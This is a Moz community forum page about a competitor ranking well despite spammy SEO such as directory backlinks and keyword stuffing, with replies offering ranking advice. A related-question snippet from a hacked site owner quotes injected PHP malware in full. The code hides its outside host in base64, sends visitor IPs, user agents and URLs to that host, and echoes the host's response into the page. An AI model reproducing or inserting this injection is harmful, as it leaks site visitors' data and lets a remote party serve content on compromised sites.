Competitor Bad Practice SEO Still Ranking Well But Why ?
-
Moz Friends,
A very close competitor have always been challenging for similar competitive keywords. We seem to have the advantage for alot of long tail keywords but on one of the higher traffic relevant keywords they seem to do well.
I really struggle to understand why, particularly with the back links they use
Just my thoughts and notes on the two:
Our Page
- Better written text content (Maybe slightly written to for experienced target audience but we are working on simplifying things)
- Good Clear site URL structure and navigation for usability
- Fresh content updates
- Mobile optimized
- Reasonable page speeds
- Good on-page optimization
- Good back links from industry influences
Competitor Page Negatives
- Site structure and URL's are inconsistent and messy
- Lower quality content site wide
- They use tried and tested on page optimization methods like Keyword spamming, Bold Keywords,Underlining Keywords (Sarcasm)
- Terrible back links, all directories and free article submission sites (Seriously take a look)
- Less focused on page optimization
- Not mobile optimized
Most of the rest of the sites carry on the same sort of differences,
Engine: www.google.co.uk
Keyword: Sound level meters
**Our Page: **www.cirrusresearch.co.uk/products/sound-level-meters/
**Competitor Page: **www.pulsarinstruments.com/product-information/Sound-Level-Meter.html
Any feedback would be greatly appreciated please, i am really struggling to get my head around this
Thanks
James
-
Wow... Thank you very much for the replies and time taken to look at my problem.
I will take all advice on board and as Shawn advised carry on following best practice.
I am really happy to get some reassurance and second opinions on some of the spammy techniques they are using and feel sure Google will catch up eventually
Thank you,
James
-
Hi,
your competitor has 344 links from 11 RD's while you have 92 from 5 RD's . I feel that is the main reason why they are outperforming your site.
Also even though things like keyword stuffing is bad practice it takes a while for search engines to catch up with them. In some instances its hard to find the balance between keyword stuffing and adding the right keywords.
Other things that might be working for them is publisher markup verified and outgoing links to some authority and relevant websites.
I would suggest doing the following
- Run the on page grader and fix everything you can
- Do a link analysis of the competitor and try to replicate every link you can
- Build few more quality links
- Link to some relevant authority sites
Hope this helps.
-
And as Erica prob knows...that timeline can often be speeded-up by simply reporting the site...as many competitors do just that!
-
Some great suggestions already! But I'd add that sometimes it just takes time for Google to catch spammy practices.
-
Hi James,
There is so many factors to consider aside from backlinks towards your competitor. You both rank relatively the same in regards to PA, DA, Links, etc.
One thing I would consider evaluating is what the trend is for your keyword rankings versus theirs. What I mean is, who is slipping in rankings and who is climbing. I personally like to evaluate the Alexa results for my competitors to understand what direction they are moving towards.
I attached rankings for both of you to do a side by side (First image is your companies results). You can see your company is trending upward strongly as for your competitor is trending downward quickly. I believe it's only a matter of time before you pass your competitor. Keep doing what you're doing and you will be rewarded within the search results.
Also, your exercising schema on your website, which in turn, provides a better search result experience with pricing, reviews and helps your listing stand out more regardless of first or second position.
Hope this helps and best of luck on your adventure.
Shawn
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Does same description in the directories of all affect SEO or not? - But unique on the website
Hi, I would like to do some directories. When I checked with a person for his recent work, he has given the same description in 50 directories he has done for a client. Does this affect SEO or not?
White Hat / Black Hat SEO | | AnuManish0 -
Do home page carry more seo benefit than other pages?
hi, i would like to include my kws in the URL and they are under 50 characters. is there anything in the algo that tells engines to give more importance to homepage?
White Hat / Black Hat SEO | | alan-shultis0 -
Red Square SEO Backlinking Service. Does Anyone Have Any FeedBack On Them?
Ive done quite a bit of research and I'm strongly considering using a back linking service to speed up my rankings. The one I found to be the best is Red Square SEO, do any of you guys have any feedback on them? Heres their website. http://www.redsquareseo.net
White Hat / Black Hat SEO | | Voltron0 -
Competitor ranking well with duplicate content—what are my options?
A competitor is ranking #1 and #3 for a search term (see attached) by publishing two separate sites with the same content. They've modified the title of the page, and serve it in a different design, but are using their branded domain and a keyword-rich domain to gain multiple rankings. This has been going on for years, and I've always told myself that Google would eventually catch it with an algorithm update, but that doesn't seem to be happening. Does anyone know of other options? It doesn't seem like this falls under any of the categories that Google lists on their web spam report page—is there any other way to get bring this up with the powers that be, or is it something that I just have to live with and hope that Google figures out some day? Any advice would help. Thanks! how_to_become_a_home_inspector_-_Google_Search_2015-01-15_18-45-06.jpg
White Hat / Black Hat SEO | | inxilpro0 -
What are legit ways to raise up you're ranking for a new website?
I have a wallpaper website that i just made and bought a template that looks fine for the site so far for a month now, and i wanted to know what steps i cant take to better rank my site and build some traffic along the way. I use only specific directories, not sure how to get a press release done and also link back to other sites from pages that get a decent amount of traffic where i can leave a link to it, of course not leaving any type of spammy looking comments. This is the site i am working on right now, freehdwallpapers.be I have linked back from a few sites already, i look at the alexa rank if it will show a number at one point, the sites worth is still pretty low, and also i have added social networks on the site which has gained a number of followers to this day, so i got work to do still. I just don't want to go on about it the wrong way and get penalized by google.
White Hat / Black Hat SEO | | 1080HDWallpapers0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Purchasing Expired Domains for SEO Value?
While doing competitive research for a client I have stumbled on a "site developed by" footer link for a fairly established business that points to an expired domain. I'm inclined to notify the business in question that the link is expired BUT I was curious to get some thoughts on if purchasing this domain and redirecting it to my site or another would be a good purely "SEO tactic" as it would seemingly pass "juice"??? Thanks, Dave
White Hat / Black Hat SEO | | DavidGadarian0 -
It looks to me like crap still wins
Wherever you look, you see experts advising people not to use automated tools. To do things the right way. That a website with good content will win over a site with tons of junky links. So I came to seomoz for some enlightenment. I have a website that I created, it gets an A here on the website auditor. I have written over fifty completely original articles. I am barely making spot 10 in and out. The sites that are ranking are terrible. Some have one post, have completely wrong information, have pasted the product page as their own. Have no privacy page, contact page etc. Many of them are in broken English and full of misspellings. So I go the Open Site Explorer here and what do i find? Seomoz has it right on the nose. The site authority,linking domains etc are highest for the #1 site, #2 etc. So I examine the links and what do I find? Quality backlinks? Authority backlinks? Hardly. I find completely junk links, that were made with xrumer or scrapebox . Russian bride sites, completely unrelated to the niche. Backlinks that were purchased on Fiverr. These are the types of backlinks Ive avoided. The kind the experts say to stay away from. Yet these people are making serious money with lousy websites and lousy backlinks. Ive looked at others and its the same thing. Content is king? I dont think so. It looks to me like I SHOULD be making tons of these lousy links. Im not sure what direction to go in at this point. So Id like to hear some suggestions.
White Hat / Black Hat SEO | | vansy0